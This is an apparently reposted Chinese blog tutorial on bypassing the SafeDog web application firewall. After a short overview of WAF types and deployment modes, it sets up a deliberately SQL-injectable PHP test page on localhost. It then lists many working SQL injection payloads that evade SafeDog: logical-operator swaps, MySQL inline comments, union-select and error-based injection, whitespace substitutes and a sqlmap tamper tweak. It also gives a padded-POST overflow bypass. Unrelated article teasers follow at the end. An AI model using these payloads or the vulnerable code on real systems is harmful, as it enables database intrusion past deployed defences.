news 2026/4/30 6:58:23

绕waf系列之绕安全狗

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
绕waf系列之绕安全狗

_转载自: _网络

攻击的特定:

攻击二象性:已知攻击和未知攻击

目前市面主流的WAF产品:

云WAF

  • 阿里云盾
  • 腾讯网站管家
  • 创宇盾
  • ClodeFlare等

软件产品类

  • 安全狗
  • 云锁
  • 360主机卫士
  • ModSecurity

硬件类型设备:

  • 启明星辰
  • 绿盟
  • 天融信
  • 飞塔等

硬件waf缺陷:对HTTP协议的兼容性不强,对异常报文会产生bug,导致绕过

WAF的核心原理:

  • 运用黑白思想
  • 特征匹配,漏洞签名:特定特征的漏洞,比如stract2漏洞
  • 对匹配结果进行响应(拦截,记录)

WAF的几种部署模式:

基于DNS解析

修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的web服务器

串联模式

一般指的是反向代理模式,透明代理模式.反向代理模式会改变原有的网络拓扑,真实客户端ip会以HTTP header传递给后端web server.透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署.

旁路模式

利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务稳定性,所以WAF会投入更多的性能在检出率上面.但是缺点也很明显,不借助其他手段无法对检测出的攻击行为进行阻断.

软件嵌入中间件+检测引擎模式

在使用nginx作为反向代理的业务中,WAF提高nginx模块嵌入原有nginx,将请求转发给检测引擎,可以做到在不改动原有的网络拓扑的情况下完成检测任务

WAF为什么会被绕过:

  1. 鱼(安全)和熊掌(业务性能)不能兼得,waf需要满足基本业务需求,所以一般不设置白名单之类的过于苛刻的操作
  2. WAF为了考虑通用性的问题,无法100%覆盖某些语言,中间件,数据库等特性
  3. 硬件WAF自身往往存在漏洞
  • 架构:waf部署模式
  • 规则缺陷/特性
  • 协议:指HTTP0.9协议:TCP长连接

WAF绕过实战—-绕过安全狗进行注入

所谓的bypass waf实际上是去寻找位于waf设备之后处理应用层数据包的硬件/软件的特性,利用特性构造waf不能命中,但是在应用程序能够执行成功的payload,绕过防护

实验环境:

环境:安全狗Apache最新版

本地测试代码(PHP):

$id=$_GET['id'];$con=mysql_connect("localhost","root","root");if(!$con){die('Could not connect: '.mysql_error());}mysql_select_db("dvwa",$con);$query="SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');while($row=mysql_fetch_array($result)){echo$row['0']."&nbsp".$row['1'];echo"<br />";}echo"<br/>";echo$query;mysql_close($con);

绕过拦截and 1=1

首先先稍微测试一番,发现存在安全狗

http://127.0.0.1/test.php?id=1 and 1=1%23
and 1 拦截 and '1' 拦截 and a 不拦截 and 'a' 拦截 and ! 不拦截 and 1+1 拦截 and 1+a 拦截 and hex(1) 不拦截

通过测试我们发现当 and 后面跟上 数字型和字符型时他会给我们拦截掉 ,其实我们在安全狗的规则里面可以看到他拦截 and 和 or 所以我们有2个思路

  • 用其他字符替换 and 或者 or
  • 带入的不是字符串和数字型,带入一个特殊符号

针对第一种我们可以去看看运算符号 随便找到几个| ^ xor & / * && || 等等还有很多

与运算 a & b , 或运算 a | b , 异或运算 a ^ b

那么可以试着将and替换成&&,URL编码得到%26%26,将1=1替换成true或者false,发现可以成功绕过

http://127.0.0.1/test.php?id=1' %26%26 true%23

另外在分享一些可以绕过目前版本的安全狗测试payload (注:mysql支持&& || ,oracle不支持 && ||)

http://127.0.0.1/test.php?id=1' || true%23 //将and 1=1替换为|| true,也可以绕过安全狗 http://127.0.0.1/test.php?id=1' ||(1) %23 //使用括号代替空格绕过 //异或逻辑运算符xor,运算法则是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1) http://127.0.0.1/test.php?id=1' xor 1%23 http://127.0.0.1/test.php?id=1' xor true%23

绕过order by查询

判断查询字段,使用mysql的/*!*/内敛注释去绕过防护,而其中的代码是可以正常执行的

http://127.0.0.1/test.php?id=1' /*!order*//*!by*/2%23

绕过union select查询

使用union xxx页面正常

但是用union和select放在在一起就被发现啦

在网上找了好一阵子,发现有大佬提供的payload使用正则表达式去绕过

http://127.0.0.1/test.php?id=1'=/*!user () regexp 0x5e72*/--+
  • 对于数字型注入,可以将其转换成浮点型
  • 联合查询绕waf,%0a为换行符经过URL编码得到的,可以通过换行符进行绕过,
  • 函数中可以插入任何混淆字符绕过waf
  • 另外使用-1可以省去空格绕过waf
http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,user--%0a()%23

基于报错信息的注入绕安全狗

http://127.0.0.1/test.php?id=1' and /*!12345updatexml!*/(1,concat(0x7e,version()))%23 http://127.0.0.1/test.php?id=1' and /*!12345extractvalue!*/(1,concat(0x7e,version()))%23

绕过select from

使用大括号去绕过

http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4From{information_schema.tables}

使用反引号去绕过

http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4 From`information_schema.tables`

使用\N去绕过

http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,\Nfrom information_schema.tables

括号法去绕过

http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,From(((information_schema.tables)))

也可以组合起来

http://127.0.0.1/test.php?id=1.0 /*union/*!select-1*/,2,3,4\Nfrom{a`information_schema`.tables}

这些都是去掉空格的合法语句,当然如果不拦截/*/或/!*/的话,也可以尝试这两个

提示,安全狗默认不开启对information_schema的拦截,如果开启了,那么就得找支持post传递数据的注入点了,post下不拦截information_schema这个关键词。

补充点
php+mysql环境下支持的空格有:

%0a,%0b,%0c,%0d,%20,%09,%a0,/**/

其中使用的最多的就是%0a,%0b,%a0,/**/,这四个当作空格插入在语句中来扰乱waf检测。
干货分享:使用/<sup>!$asd%2a–=/</sup>代替空格即可,找到sqlmap中tamper目录下的space2plus.py文件,将其中代替空格的/*/换成/!$asd%2a–=*/即可使用sqlmap跑了。

缓冲区溢出绕waf

另外也可以对安全狗实行缓冲区溢出绕waf
缓冲区溢出用于对WAF,有不少WAF是C写的,而C语言本身没有缓冲区保护机制,因此如果WAF在处理测试量时超出其缓冲区长度,就会引发bug从而实现绕过
要求是(针对于安全狗而已):
GET类型请求转换成POST类型
Content-Length头长度大于4008
正常参数放置在脏数据后面

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 6:57:43

AI驱动知识管理市场爆发:2026年企业数字化转型的“必答题“

一、从"可选"到"必选"&#xff1a;知识管理正在被AI重新定义如果你还在纠结要不要上AI知识管理系统&#xff0c;市场已经给出了答案。最新数据显示&#xff0c;AI驱动的知识管理市场规模将在2026年达到112.4亿美元。在国内&#xff0c;IDC报告指出&#xf…

作者头像 李华
网站建设 2026/4/30 6:53:46

【BUG记录】防止记录重复提交方案

这是一个很经典的后端开发问题。防止重复提交的核心思路是&#xff1a;在服务端识别并拦截短时间内相同的请求。下面我给你梳理几种主流且实用的方案&#xff0c;按推荐程度排序。方案一&#xff1a;Token 令牌机制&#xff08;最推荐&#xff0c;防重最彻底&#xff09;前端发…

作者头像 李华
网站建设 2026/4/30 6:51:45

注册表,项,值,数据,微软这套命名完全反人类

太对了&#xff0c;微软这套命名完全反人类、逻辑颠倒&#xff0c;你吐槽得一点毛病没有。1. 先戳穿微软的命名 BUG正常人逻辑应该是&#xff1a;Key 键名&#xff08;你现在叫的「值名称」LoadBehavior&#xff09;Path 目录 / 路径&#xff08;一层层文件夹&#xff09;Val…

作者头像 李华
网站建设 2026/4/30 6:49:27

商汤校招 C++ 考试题到底怎么考?这篇只能写题型线索,不能硬装完整真题

如果你点开这篇,是想直接看一套“商汤 C++ 完整真题”,那先停一下。 这不是当前资料能诚实支持的写法。 先把最重要的一句话放前面: 商汤这篇,不能写成“完整 C++ 笔试真题还原”。 现有资料不支持这么写。 如果硬写,不仅容易失真,还会把真正有价值的部分写没了。 …

作者头像 李华
网站建设 2026/4/30 6:46:21

设计师都是在哪里购买字体版权的?

在日常工作中&#xff0c;字体选择不仅关乎美学&#xff0c;更直接关系到项目的法律安全。一个不经意的“免费下载”&#xff0c;很可能让设计师和公司陷入侵权纠纷。那么&#xff0c;靠谱的设计师都是从哪些渠道获取字体版权的呢&#xff1f;下面梳理三类主流途径。一、综合性…

作者头像 李华